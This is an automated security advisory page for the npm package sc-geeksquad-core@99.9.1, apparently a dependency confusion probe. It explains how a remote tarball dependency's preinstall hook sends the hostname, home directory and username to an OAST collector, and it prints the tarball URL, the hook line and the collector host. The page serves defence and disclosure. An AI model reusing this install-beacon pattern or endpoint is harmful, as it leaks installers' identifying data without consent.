sc-geeksquad-core@99.9.1
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4d ago · by lpm-firewall-aiThe package declares a remote tarball dependency whose preinstall hook automatically transmits host, home-directory, and username identifiers to a fixed unrelated collector. This is an unconsented installation beacon and supports blocking publication.
Static reason
One or more suspicious static signals were detected.
Trigger
Installing sc-geeksquad-core and running dependency lifecycle scripts.
Impact
Installation discloses identifying information to an unrelated collector without installer consent.
Mechanism
The dependency’s preinstall runs test.js, which builds requests using encoded machine identifiers as subdomains and sends HTTP GET requests.
Attack narrative
During installation, the remote dependency’s preinstall hook runs code that encodes the machine hostname, home directory, and username. It places each value in a subdomain of a fixed OAST host and issues HTTP GET requests, disclosing those identifiers to the collector.
AI rationale
The package declares a remote tarball dependency whose preinstall hook automatically transmits host, home-directory, and username identifiers to a fixed unrelated collector. This is an unconsented installation beacon and supports blocking publication.
Evidence
package.json.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/package.json.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/test.js.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/index.js
Network endpoints1
sc-geeksquad-core.otlp5nsx8n9i49ojul6wh82nceie64ut.oastify.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json installs ltidisafe from a remote tarball, whose manifest runs test.js during preinstall.
- test.js encodes the machine hostname, home directory, and username, then uses those values as subdomains of a fixed OAST host.
- The dependency’s index.js sends HTTP GET requests to the supplied URLs, activating the identifying-data disclosure during installation.
Evidence against
Behavioral surface
Trivial
Source & flagged code
6 flagged · loading sourcepackage.jsonView file
9"dependencies": {
"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.7.tgz"
},
"author"
High
Ai Review Evidence
package.json installs ltidisafe from a remote tarball, whose manifest runs test.js during preinstall.
package.jsonView on unpkg · L9•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.9.7.tgz
Medium
Remote Tarball Dependency
Package manifest contains a dependency pinned to a remote tarball URL.
package.jsonView on unpkg.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/package.jsonView file
5"main": "index.js",
"scripts": {
"preinstall": "node test.js > /dev/null 2>&1",
"test": "echo \"Err
High
Findings
5 High1 Medium1 Low
HighAi Review Evidencepackage.json
HighAi Review Evidence.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/package.json
HighAi Review Evidence.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/test.js
HighAi Review Evidence.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/test.js
HighSuspicious Dependency Evidence.lpm-dependency-evidence-5d5edd03-d9e8-4447-9e28-1db52b472247/0/npm-linux/index.js
MediumRemote Tarball Dependencypackage.json
LowScripts Present
Affected versions and remediation
This report applies to sc-geeksquad-core@99.9.1.
See all versions of sc-geeksquad-core for other recorded verdicts.
- Avoid installing sc-geeksquad-core@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.